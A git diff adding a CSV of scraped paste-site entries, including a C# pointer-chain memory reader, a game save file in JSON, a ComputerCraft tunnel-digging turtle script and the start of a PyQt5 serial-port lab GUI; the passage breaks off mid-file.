diff --git a/pastes/pastes_20231019001555.csv b/pastes/pastes_20231019001555.csv new file mode 100644 index 0000000..6ac1376 --- /dev/null +++ b/pastes/pastes_20231019001555.csv @@ -0,0 +1,5850 @@ +id,title,username,language,date,content +Z2CPat1V,C# Pointer Chain Follower Thingy,bobmarley12345,C#,Wednesday 18th of October 2023 07:05:56 PM CDT,"// Get the live address from a known base pointer and a collection of pointer offsets where each one is added to the last pointer +public static unsafe long GetPointerAddress(IntPtr hProcess, long pointer, int[] offsets = null) { + // pointer should contain the BaseAddress of the module being targeted + if (offsets == null || offsets.Length < 1) { + return pointer; + } + byte* buf = stackalloc byte[8]; + ReadProcessMemory_Unsafe(hProcess, pointer, buf, 8); + for (int i = 0, j = offsets.Length - 1; i < j; i++) { + pointer = *(long*) buf + offsets[i]; + ReadProcessMemory_Unsafe(hProcess, pointer, buf, 8); + } + pointer = *(long*) buf + offsets[offsets.Length - 1]; + return pointer; +}" +VZX0kAk7,Spid_rr's Data,azimuths,JSON,Wednesday 18th of October 2023 07:05:33 PM CDT,"{""Stats"":{""MissionEXP"":{""ObjectName"":""MissionEXP"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""MaxRank"":{""ObjectName"":""MaxRank"",""ObjectClass"":""IntValue"",""ObjectValue"":""24""},""mapmove1"":{""ObjectName"":""mapmove1"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""LeftEye"":{""ObjectName"":""LeftEye"",""ObjectClass"":""StringValue"",""ObjectValue"":""Default""},""Key12"":{""ObjectName"":""Key12"",""ObjectClass"":""StringValue"",""ObjectValue"":""=""},""Blind"":{""ObjectName"":""Blind"",""ObjectClass"":""NumberValue"",""ObjectValue"":""0""},""Slot2"":{""ObjectName"":""Slot2"",""ObjectClass"":""StringValue"",""ObjectValue"":""Extreme Wind""},""TailedBeastLevel"":{""ObjectName"":""TailedBeastLevel"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""CombatEXP"":{""ObjectName"":""CombatEXP"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""Personality"":{""ObjectName"":""Personality"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""GripCount"":{""ObjectName"":""GripCount"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""Marking"":{""ObjectName"":""Marking"",""ObjectClass"":""IntValue"",""ObjectValue"":""69""},""SkinColor"":{""ObjectName"":""SkinColor"",""ObjectClass"":""IntValue"",""ObjectValue"":""3""},""HideName"":{""ObjectName"":""HideName"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""IsExiled"":{""ObjectName"":""IsExiled"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""Slot11"":{""ObjectName"":""Slot11"",""ObjectClass"":""StringValue"",""ObjectValue"":""Hoppa""},""Key8"":{""ObjectName"":""Key8"",""ObjectClass"":""StringValue"",""ObjectValue"":""8""},""LINDAMINISTARTUP"":{""ObjectName"":""LINDAMINISTARTUP"",""ObjectClass"":""IntValue"",""ObjectValue"":""5""},""Slot4"":{""ObjectName"":""Slot4"",""ObjectClass"":""StringValue"",""ObjectValue"":""God Ripper Alt""},""Slot9"":{""ObjectName"":""Slot9"",""ObjectClass"":""StringValue"",""ObjectValue"":""Gate""},""Version"":{""ObjectName"":""Version"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""HairColorR"":{""ObjectName"":""HairColorR"",""ObjectClass"":""IntValue"",""ObjectValue"":""118""},""Key4"":{""ObjectName"":""Key4"",""ObjectClass"":""StringValue"",""ObjectValue"":""4""},""CurseMarkLevel"":{""ObjectName"":""CurseMarkLevel"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""Key2"":{""ObjectName"":""Key2"",""ObjectClass"":""StringValue"",""ObjectValue"":""2""},""Genjutsu"":{""ObjectName"":""Genjutsu"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""SwordSave"":{""ObjectName"":""SwordSave"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""BijuuXP"":{""ObjectName"":""BijuuXP"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""Key3"":{""ObjectName"":""Key3"",""ObjectClass"":""StringValue"",""ObjectValue"":""3""},""BonusSkillPoints"":{""ObjectName"":""BonusSkillPoints"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""CColorB"":{""ObjectName"":""CColorB"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""PosY"":{""ObjectName"":""PosY"",""ObjectClass"":""IntValue"",""ObjectValue"":""225""},""SPR"":{""ObjectName"":""SPR"",""ObjectClass"":""IntValue"",""ObjectValue"":""12""},""BijuuConvo"":{""ObjectName"":""BijuuConvo"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""jincooldown"":{""ObjectName"":""jincooldown"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""Ken"":{""ObjectName"":""Ken"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""Scar"":{""ObjectName"":""Scar"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""Slot12"":{""ObjectName"":""Slot12"",""ObjectClass"":""StringValue"",""ObjectValue"":""""},""RecentTrainings"":{""ObjectName"":""RecentTrainings"",""ObjectClass"":""StringValue"",""ObjectValue"":""{}""},""EyeColorR"":{""ObjectName"":""EyeColorR"",""ObjectClass"":""IntValue"",""ObjectValue"":""206""},""HairColorG"":{""ObjectName"":""HairColorG"",""ObjectClass"":""IntValue"",""ObjectValue"":""140""},""RaidCD"":{""ObjectName"":""RaidCD"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""Slot6"":{""ObjectName"":""Slot6"",""ObjectClass"":""StringValue"",""ObjectValue"":""""},""HairColorB"":{""ObjectName"":""HairColorB"",""ObjectClass"":""IntValue"",""ObjectValue"":""172""},""Gender"":{""ObjectName"":""Gender"",""ObjectClass"":""IntValue"",""ObjectValue"":""1""},""Kids"":{""ObjectName"":""Kids"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""SecondaryWep"":{""ObjectName"":""SecondaryWep"",""ObjectClass"":""StringValue"",""ObjectValue"":""Kunai""},""PosZ"":{""ObjectName"":""PosZ"",""ObjectClass"":""IntValue"",""ObjectValue"":""144""},""UnlockedCloak"":{""ObjectName"":""UnlockedCloak"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""CloakTime"":{""ObjectName"":""CloakTime"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""BijuuRelation"":{""ObjectName"":""BijuuRelation"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""Prestige"":{""ObjectName"":""Prestige"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""MaxAge"":{""ObjectName"":""MaxAge"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""TailedBeastMastered"":{""ObjectName"":""TailedBeastMastered"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""Mangekyo"":{""ObjectName"":""Mangekyo"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""LastGripped"":{""ObjectName"":""LastGripped"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""LastAge"":{""ObjectName"":""LastAge"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""Key11"":{""ObjectName"":""Key11"",""ObjectClass"":""StringValue"",""ObjectValue"":""-""},""AwakenCD"":{""ObjectName"":""AwakenCD"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""AgeLimit"":{""ObjectName"":""AgeLimit"",""ObjectClass"":""IntValue"",""ObjectValue"":""2400""},""SecondaryAmmo"":{""ObjectName"":""SecondaryAmmo"",""ObjectClass"":""IntValue"",""ObjectValue"":""12""},""Mastered"":{""ObjectName"":""Mastered"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""HandsignTraining"":{""ObjectName"":""HandsignTraining"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""WipeLog"":{""ObjectName"":""WipeLog"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""Slot10"":{""ObjectName"":""Slot10"",""ObjectClass"":""StringValue"",""ObjectValue"":""""},""Key9"":{""ObjectName"":""Key9"",""ObjectClass"":""StringValue"",""ObjectValue"":""9""},""Slot5"":{""ObjectName"":""Slot5"",""ObjectClass"":""StringValue"",""ObjectValue"":""God Ripper""},""Slot7"":{""ObjectName"":""Slot7"",""ObjectClass"":""StringValue"",""ObjectValue"":""""},""RESTORE"":{""ObjectName"":""RESTORE"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""TailedBeast"":{""ObjectName"":""TailedBeast"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""GrandParentID"":{""ObjectName"":""GrandParentID"",""ObjectClass"":""StringValue"",""ObjectValue"":""""},""TimesRerolled"":{""ObjectName"":""TimesRerolled"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""CurseMarkEXP"":{""ObjectName"":""CurseMarkEXP"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""HBChoice"":{""ObjectName"":""HBChoice"",""ObjectClass"":""IntValue"",""ObjectValue"":""1""},""WeaponSave"":{""ObjectName"":""WeaponSave"",""ObjectClass"":""StringValue"",""ObjectValue"":""""},""PrimaryWep"":{""ObjectName"":""PrimaryWep"",""ObjectClass"":""StringValue"",""ObjectValue"":""Kunai""},""OriginalVillage"":{""ObjectName"":""OriginalVillage"",""ObjectClass"":""IntValue"",""ObjectValue"":""5""},""BijuuSealed"":{""ObjectName"":""BijuuSealed"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""Name"":{""ObjectName"":""Name"",""ObjectClass"":""StringValue"",""ObjectValue"":""Spider""},""LastChakra"":{""ObjectName"":""LastChakra"",""ObjectClass"":""IntValue"",""ObjectValue"":""700""},""Key10"":{""ObjectName"":""Key10"",""ObjectClass"":""StringValue"",""ObjectValue"":""0""},""Key1"":{""ObjectName"":""Key1"",""ObjectClass"":""StringValue"",""ObjectValue"":""1""},""RU"":{""ObjectName"":""RU"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""PrimaryCN"":{""ObjectName"":""PrimaryCN"",""ObjectClass"":""IntValue"",""ObjectValue"":""5""},""logcheck"":{""ObjectName"":""logcheck"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""Slot-"":{""ObjectName"":""Slot-"",""ObjectClass"":""StringValue"",""ObjectValue"":""""},""PrimaryAmmo"":{""ObjectName"":""PrimaryAmmo"",""ObjectClass"":""IntValue"",""ObjectValue"":""12""},""FamilyID"":{""ObjectName"":""FamilyID"",""ObjectClass"":""StringValue"",""ObjectValue"":""Spider(8)1368161""},""DateRecord"":{""ObjectName"":""DateRecord"",""ObjectClass"":""IntValue"",""ObjectValue"":""2520""},""ToggleAccessories"":{""ObjectName"":""ToggleAccessories"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""Slot3"":{""ObjectName"":""Slot3"",""ObjectClass"":""StringValue"",""ObjectValue"":""Compressed Tornados""},""Slot="":{""ObjectName"":""Slot="",""ObjectClass"":""StringValue"",""ObjectValue"":""""},""Blindness"":{""ObjectName"":""Blindness"",""ObjectClass"":""NumberValue"",""ObjectValue"":""0""},""ItemSave"":{""ObjectName"":""ItemSave"",""ObjectClass"":""StringValue"",""ObjectValue"":""""},""Trauma"":{""ObjectName"":""Trauma"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""BerserkTimes"":{""ObjectName"":""BerserkTimes"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""SpentSkillPoints"":{""ObjectName"":""SpentSkillPoints"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""RP"":{""ObjectName"":""RP"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""Key6"":{""ObjectName"":""Key6"",""ObjectClass"":""StringValue"",""ObjectValue"":""6""},""Deaths"":{""ObjectName"":""Deaths"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""EyeColorB"":{""ObjectName"":""EyeColorB"",""ObjectClass"":""IntValue"",""ObjectValue"":""245""},""Slot1"":{""ObjectName"":""Slot1"",""ObjectClass"":""StringValue"",""ObjectValue"":""X Wind Impact""},""PDLog"":{""ObjectName"":""PDLog"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""Parentq"":{""ObjectName"":""Parentq"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""BDAYS"":{""ObjectName"":""BDAYS"",""ObjectClass"":""StringValue"",""ObjectValue"":""0""},""KPos"":{""ObjectName"":""KPos"",""ObjectClass"":""IntValue"",""ObjectValue"":""3""},""EyeColorG"":{""ObjectName"":""EyeColorG"",""ObjectClass"":""IntValue"",""ObjectValue"":""152""},""Slot0"":{""ObjectName"":""Slot0"",""ObjectClass"":""StringValue"",""ObjectValue"":""""},""ChakraArmorRGB"":{""ObjectName"":""ChakraArmorRGB"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""LastStomach"":{""ObjectName"":""LastStomach"",""ObjectClass"":""IntValue"",""ObjectValue"":""600""},""CanRank"":{""ObjectName"":""CanRank"",""ObjectClass"":""IntValue"",""ObjectValue"":""1""},""ResetPos"":{""ObjectName"":""ResetPos"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""SkillPoints"":{""ObjectName"":""SkillPoints"",""ObjectClass"":""IntValue"",""ObjectValue"":""1""},""startnewlife"":{""ObjectName"":""startnewlife"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""SeenDeaths"":{""ObjectName"":""SeenDeaths"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""LastKilledUser"":{""ObjectName"":""LastKilledUser"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""AnbuLog"":{""ObjectName"":""AnbuLog"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""MissionSuccess"":{""ObjectName"":""MissionSuccess"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""CurrentWep"":{""ObjectName"":""CurrentWep"",""ObjectClass"":""IntValue"",""ObjectValue"":""1""},""Elo"":{""ObjectName"":""Elo"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""TrainingEXP"":{""ObjectName"":""TrainingEXP"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""Key5"":{""ObjectName"":""Key5"",""ObjectClass"":""StringValue"",""ObjectValue"":""5""},""RyoRES"":{""ObjectName"":""RyoRES"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""LastHealth"":{""ObjectName"":""LastHealth"",""ObjectClass"":""IntValue"",""ObjectValue"":""590""},""Ryo"":{""ObjectName"":""Ryo"",""ObjectClass"":""IntValue"",""ObjectValue"":""100""},""CColorR"":{""ObjectName"":""CColorR"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""Key7"":{""ObjectName"":""Key7"",""ObjectClass"":""StringValue"",""ObjectValue"":""7""},""WeaveSpeed"":{""ObjectName"":""WeaveSpeed"",""ObjectClass"":""IntValue"",""ObjectValue"":""20""},""RightEye"":{""ObjectName"":""RightEye"",""ObjectClass"":""StringValue"",""ObjectValue"":""Default""},""DefaultMouth"":{""ObjectName"":""DefaultMouth"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""Rank"":{""ObjectName"":""Rank"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""PosX"":{""ObjectName"":""PosX"",""ObjectClass"":""IntValue"",""ObjectValue"":""2216""},""ParentID"":{""ObjectName"":""ParentID"",""ObjectClass"":""StringValue"",""ObjectValue"":""""},""TailedBeastEXP"":{""ObjectName"":""TailedBeastEXP"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""CColorG"":{""ObjectName"":""CColorG"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""MaxTails"":{""ObjectName"":""MaxTails"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""Age"":{""ObjectName"":""Age"",""ObjectClass"":""IntValue"",""ObjectValue"":""12""},""berserkcheck"":{""ObjectName"":""berserkcheck"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""Village"":{""ObjectName"":""Village"",""ObjectClass"":""IntValue"",""ObjectValue"":""5""},""bald"":{""ObjectName"":""bald"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""SecondaryCN"":{""ObjectName"":""SecondaryCN"",""ObjectClass"":""IntValue"",""ObjectValue"":""4""},""KillStreak"":{""ObjectName"":""KillStreak"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""Slot8"":{""ObjectName"":""Slot8"",""ObjectClass"":""StringValue"",""ObjectValue"":""""},""kek"":{""ObjectName"":""kek"",""ObjectClass"":""IntValue"",""ObjectValue"":""8""},""Influence"":{""ObjectName"":""Influence"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""Title"":{""ObjectName"":""Title"",""ObjectClass"":""StringValue"",""ObjectValue"":""Kage""}},""Skilltree"":{""Substitution"":{""ObjectName"":""Substitution"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""}},""Copy"":[]}" +GwBxFJx3,Tunel-test,kir98,Lua,Wednesday 18th of October 2023 07:04:43 PM CDT,"--Begin clear function +local function clear() + term.clear() + term.setCursorPos(1,1) +end +--End clear function + +--Begin drawMenu function +local function drawMenu() + clear() + for i = 1,#options-1 do + if sel == i then write(""*"") end + print(options[i].."" ""..tostring(values[i])) + end + if sel == 8 then + print(""\n\n\n[""..options[8]..""]"") + else + print(""\n\n\n""..options[8]) + end +end +--End drawMenu function + +--Begin setValue function +local function setValue(value) + if value == ""Disabled"" then + value = false + else + value = true + end + return value +end +--End setValue function + +--Begin toggle function +local function toggle(able) + if able == ""Disabled"" then + able = ""Enabled"" + else + able = ""Disabled"" + end + return able +end +--End toggle function + +--Begin saveProgress function +local function saveProgress() + fs.delete(""btProgress"") + d = fs.open(""btProgress"", ""w"") + d.writeLine(""This contains the current position of the turtle in btunnel."") + d.writeLine(loc) + d.writeLine(tostring(curLength)) + d.writeLine(tostring(length)) + d.writeLine(facing) + d.close() +end +--End saveProgress function + +--Begin loadProgress function +local function loadProgress() + d = fs.open(""btProgress"", ""r"") + comment1 = d.readLine() + loc = d.readLine() + curLength = tonumber(d.readLine()) + length = tonumber(d.readLine()) + facing = d.readLine() +end +--End loadProgress function + +--Begin saveSettings function +local function saveSettings() + if fs.exists(""btSettings"") then + fs.delete(""btSettings"") + end + h = fs.open(""btSettings"",""w"") + h.writeLine(""--Better Tunnel Settings"") + h.writeLine(""--Deleting will reset settings"") + h.close() + h = fs.open(""btSettings"",""a"") + h.writeLine(orders) + h.writeLine(useChests) + h.writeLine(useEnder) + h.writeLine(useTorches) + h.writeLine(bridgeGaps) + h.writeLine(tonumber(compID)) + h.writeLine(tonumber(fuelSlot)) + h.writeLine(tunnelType) + h.close() +end +--End saveSettings function + +--Begin checkChests function +local function checkChests() + if useChests then + max = 15 + if chests == 0 then + if useEnder then + print(""\nPlease input an enderchest into slot ""..chestSlot..""..."") + else + print(""\nPlease input chests into slot ""..chestSlot..""..."") + end + while chests == 0 do + chests = turtle.getItemCount(chestSlot) + sleep(1) + end + end + end +end +--End the checkChests function + +--Begin the checkTorches function +local function checkTorches() + if useTorches then + if useChests then + torchSlot = 15 + torches = turtle.getItemCount(torchSlot) + max = 14 + else + torchSlot = 16 + torches = turtle.getItemCount(torchSlot) + max = 15 + end + if torches == 0 then + print(""\nPlease input torches into slot ""..torchSlot..""..."") + while torches == 0 do + torches = turtle.getItemCount(torchSlot) + sleep(1) + end + end + end +end +--End the checkTorches function + +--Begin loadSettings function +local function loadSettings() + h = fs.open(""btSettings"", ""r"") + comment1 = h.readLine() + comment2 = h.readLine() + orders = h.readLine() + useChests = h.readLine() + useEnder = h.readLine() + useTorches = h.readLine() + bridgeGaps = h.readLine() + compID = tonumber(h.readLine()) + fuelSlot = tonumber(h.readLine()) + tunnelType = h.readLine() + h.close() + max = 16 + checkChests() + checkTorches() +end +--End loadSettings function + +--Begin findLoc function +local function findLoc() + if facing == ""right"" then + if loc == ""top"" then + dig() + down() + loc = ""mid"" + dig() + down() + loc = ""bot"" + dig() + turtle.turnLeft() + facing = ""forw"" + forward() + length = length+1 + elseif loc == ""mid"" then + dig() + down() + loc = ""bot"" + dig() + turtle.turnLeft() + facing = ""forw"" + forward() + length = length+1 + elseif loc == ""bot"" then + dig() + turtle.turnLeft() + facing = ""forw"" + forward() + length = length+1 + end + end +end +--End findLoc function + +--Begin modemExists function +local function modemExists() + if peripheral.getType(""right"") == ""modem"" then + return true + end + return false +end +--End modemExists function + +--Begin invalid function +local function invalid() + print(""\nInvalid"") + sleep(1) +end +--End invalid function + +--Begin isValid function +local function isValid(check, isOrders) + vType = type(check) + check = string.lower(check) + if not isOrders or isOrders == nil then + if check == ""y"" or check == ""n"" and vType == ""string"" then + return true + end + else + if check == ""u"" or check == ""r"" and vType == ""string"" then + return true + end + end + return false +end +--End isValid function + +--Begin the useFuel function +local function useFuel() + clear() + if useFuelSlot then + continue = false + repeat + clear() + print(""What slot would you like the fuel to be in?: "") + fuelSlot = tonumber(read()) + if fuelSlot == torchSlot or fuelSlot == chestSlot or fuelSlot > 16 then + continue = false + invalid() + else + if fuelSlot == max then + max = max-1 + end + print(""\nPlease input fuel into slot "",fuelSlot,""..."") + fuelAmount = turtle.getItemCount(fuelSlot) + while fuelAmount == 0 do + fuelAmount = turtle.getItemCount(fuelSlot) + sleep(1) + end + continue = true + end + until continue + end + continue = true +end +--End the useFuel Function + +--Begin dropoff function +local function dropOff() + turtle.digUp() + turtle.select(chestSlot) + turtle.placeUp() + for i = 1,max do + if turtle.getItemCount(i) > 0 and i ~= fuelSlot then + turtle.select(i) + turtle.dropUp() + end + end + if useEnder == true then + sleep(2) + turtle.select(chestSlot) + turtle.digUp() + end + turtle.select(1) +end +--End dropoff function + +--Begin dig function +local function dig() + while turtle.detect() do + turtle.dig() + end +end +--End dig function + +--Begin up function +function up(num) + curUp = 1 + if num == nil then + num = 1 + end + while curUp <= num do + if not turtle.up() then + turtle.digUp() + turtle.attackUp() + else + curUp = curUp+1 + end + end +end +--End up function + +--Begin forward function +function forward(num) + curForw = 1 + if num == nil then + num = 1 + end + while curForw <= num do + if not turtle.forward() then + turtle.dig() + turtle.attack() + else + curForw = curForw+1 + end + end +end +--End forward function + +--Begin down function +function down(num) + curDown = 1 + if num == nil then + num = 1 + end + while curDown <= num do + if not turtle.down() then + turtle.digDown() + turtle.attackDown() + else + curDown = curDown+1 + end + end +end +--End down function + +--Begin the tryRefuel function +local function tryRefuel() + for i = 1,max do + if turtle.getItemCount(i) > 0 then + turtle.select(i) + if turtle.refuel(1) then + return true + end + end + end + turtle.select(1) + return false +end +--End the tryRefuel function + +--Begin refuel function +local function refuel() + curFuel = turtle.getFuelLevel() + if curFuel == ""unlimited"" or curFuel >= 10 then + return + else + if not tryRefuel() then + print(""Please supply more fuel to coninue..."") + while not tryRefuel() do + sleep(1) + end + end + end +end +--End refuel function + +--Begin the stackFuel function +local function stackFuel() + for i = 1,16 do + if turtle.getItemCount(i) > 0 and i ~= fuelSlot and i < max then + turtle.select(i) + if turtle.compareTo(fuelSlot) then + turtle.transferTo(fuelSlot, turtle.getItemCount(i)) + end + end + end + turtle.select(1) +end +--End the stackFuel function + +--Begin tunnel function +local function tunnel(tunLength) + for i = 1,tunLength do + if useTorches then + turtle.select(torchSlot) + if torch == 9 or curLength == 1 or curLength == tunLength-1 then + turtle.digDown() + turtle.placeDown() + turtle.select(1) + torch = 1 + else + torch = torch+1 + end + turtle.select(1) + end + if bridgeGaps and not turtle.detectDown() then + turtle.placeDown() + end + print(""Current tunnel length: "",curLength-1) + refuel() + turtle.turnLeft() + dig() + up() + dig() + if tunnelType == ""3x3"" then + up() + dig() + end + if tunnelType == ""4x4"" then + up() + dig() + up() + dig() + end + if tunnelType == ""5x5"" then + up() + dig() + up() + dig() + up() + dig() + end + turtle.turnRight() + turtle.turnRight() + dig() + down() + dig() + if tunnelType == ""3x3"" then + down() + dig() + if tunnelType == ""4x4"" then + down() + dig() + down() + dig() + if tunnelType == ""5x5"" then + down() + dig() + down() + dig() + down() + dig() + end + turtle.turnLeft() + if useFuelSlot == true then + stackFuel() + end + refuel() + if useChests then + if turtle.getItemCount(max) > 0 then + dropOff() + end + end + turtle.select(1) + turtle.dig() + forward() + curLength = curLength+1 + saveProgress() + saveSettings() + end +end +--End tunnel function + + +--Begin Main code +--[[Check if the turtle already began a tunnel and needs to finish it now +if fs.exists(""btProgress"") then + print(""I need to continue with my tunnel!"") + loadProgress() + loadSettings() + findLoc() +end +--]] + +--Declare Variables +max = 16 +continue = false +torchSlot = 15 +chestSlot = 16 +curLength = 1 +useSettings = false +compID = 1 +facing = ""right"" +torches = turtle.getItemCount(torchSlot) +chests = turtle.getItemCount(chestSlot) + +values={ + ""User"", + ""Disabled"", + ""Disabled"", + ""Disabled"", + ""Disabled"", + ""3x3"", + ""Disabled"" +} +orders = values[1] +useChests = values[2] +useEnder = values[3] +useTorches = values[4] +bridgeGaps = values[5] +tunnelType = values[6] +useFuelSlot = values[7] + +options={ + ""Receive orders via:"", + ""Use chests:"", + ""Use Enderchests:"", + ""Use Torches:"", + ""Bridge Gaps:"", + ""Tunnel Type:"", + ""Specific Slot for Fuel:"", + ""Continue"" +} + +clear() +print(""Better Tunnel v2.0"") +sleep(2.5) + +--If a settings file exists, ask the user if they want to load it +if fs.exists(""btSettings"") then + continue = false + repeat + clear() + print(""A settings file was found."") + print(""Would you like to load it?(Y/N): "") + load = read() + load = string.lower(load) + if load == ""y"" then + useSettings = true + continue = true + elseif load == ""n"" then + useSettings = false + continue = true + else + invalid() + end + until continue +else + useSettings = false +end + +--If they chose to load it, it will load the setting from the file +if useSettings then + loadSettings() +else--If the file didn't exist or the user chose not to load it, the program will ask the user for settings + sel = 1--The first option is selected when the screen is first drawn + + clear()--clear the screen before starting + while true do + clear() + drawMenu()--draw the menu + event, key=os.pullEvent(""key"")--wait for a key to be pressed + if key == keys.up and sel ~= 1 then--long and excessive logic(I feel it could be improved) to decide what to select next + sel = sel-1 + elseif key == keys.down and sel ~= 8 then + sel = sel+1 + elseif key == keys.enter then + if sel == 1 then + if values[1] == ""User"" then + values[1] = ""Rednet"" + else + values[1] = ""User"" + end + elseif sel == 2 then + values[2] = toggle(values[2]) + if values[2] == ""Disabled"" and values[3] ~= ""Disabled"" then + values[3] = toggle(values[3]) + end + elseif sel == 3 then + values[3] = toggle(values[3]) + if values[3] == ""Enabled"" and values [2] ~= ""Enabled"" then + values[2] = toggle(values[2]) + end + elseif sel == 4 then + values[4] = toggle(values[4]) + elseif sel == 5 then + values[5] = toggle(values[5]) + elseif sel == 6 then + if values[6] == ""4x4"" then + values[6] = ""5x5"" + else + values[6] = ""4x4"" + end + elseif sel == 7 then + values[7] = toggle(values[7]) + elseif sel == 8 then + orders = values[1] + useChests = setValue(values[2]) + useEnder = setValue(values[3]) + useTorches = setValue(values[4]) + bridgeGaps = setValue(values[5]) + useFuelSlot = setValue(values[7]) + break + end + end + end + useFuel() + checkChests() + checkTorches() +end + +if (not modemExists() and (orders == ""Rednet"")) then + clear() + print(""No modem was detected on this turtle!"") + print(""User input has been automatically selected."") + orders = ""User"" + sleep(3) +end + +--Run the tunnel function based on the orders chosen +if orders == ""Rednet"" then + rednet.open(""right"") + clear() + if not useSettings then + continue = false + repeat + print(""You chose to receive orders via Rednet."") + write(""What computer would you like me to accept messages from?: "") + compID = tonumber(read()) + if compID > 0 then + continue = true + else + invalid() + end + until continue + end + clear() + print(""I will listen for orders from the computer with id: ""..compID) + id, msg = rednet.receive() + if id == tonumber(compID) then + length = msg + checkChests() + checkTorches() + print(""Beginning tunnel with length: ""..length) + tunnel(length) + end +elseif orders == ""User"" then + repeat + clear() + print(""You chose to receive orders via User."") + write(""How long would you like the tunnel to be?(In blocks): "") + length = tonumber(read()) + vType = type(length) + if vType == ""number"" then + print(""Beginning tunnel with length: ""..length) + continue = true + checkChests() + checkTorches() + tunnel(length) + else + invalid() + continue = false + end + until continue +end + +clear() +print(""I'm done!"") +print(""I completed a tunnel with length: ""..length) + +if not useSettings then + print(""Would you like to save these settings for use in the next tunnel?(Y/N): "") + save = read() + save = string.lower(save) + if save == ""y"" then + saveSettings() + print(""Settings have been saved"") + sleep(2) + end +end" +VfZjHEtQ,Lab1,Week045,Python,Wednesday 18th of October 2023 05:25:53 PM CDT,"# -*- coding: utf-8 -*- +import PyQt5 +# Form implementation generated from reading ui file 'Lab1.ui' +# +# Created by: PyQt5 UI code generator 5.15.9 +# +# WARNING: Any manual changes made to this file will be lost when pyuic5 is +# run again. Do not edit this file unless you know what you are doing. + +from PyQt5 import QtCore, QtGui, QtWidgets +from COMPort import COMPort +import threading +import re + + +class UiMainWindow(object): + input_port_name: str + output_port_name: str + ports_baudrate: int + input_port: COMPort + output_port: COMPort + accept_flag: bool + change_port_name_flag: bool + change_port_speed_flag: bool + numbers_bytes: int + total_numbers_bytes: int + + def __init__(self, main_window): + self.input_port_name = ""????"" + self.output_port_name = ""????"" + self.ports_baudrate = 0 + self.accept_flag = False + self.change_port_name_flag = False + self.numbers_bytes = 0 + self.total_numbers_bytes = 0 + # InitComPorts + self.input_port = COMPort(self.input_port_name, self.ports_baudrate) + self.output_port = COMPort(self.output_port_name, self.ports_baudrate) + # InitWidget + self.centralwidget = QtWidgets.QWidget(main_window) + self.lbl_input = QtWidgets.QLabel(self.centralwidget) + self.le_input_entry = QtWidgets.QLineEdit(self.centralwidget) + self.lbl_input_port = QtWidgets.QLabel(self.centralwidget) + self.lbl_output = QtWidgets.QLabel(self.centralwidget) + self.le_output_entry = QtWidgets.QLineEdit(self.centralwidget) + self.lbl_output_port = QtWidgets.QLabel(self.centralwidget) + self.lbl_accept_flag = QtWidgets.QLabel(self.centralwidget) + self.hLine = 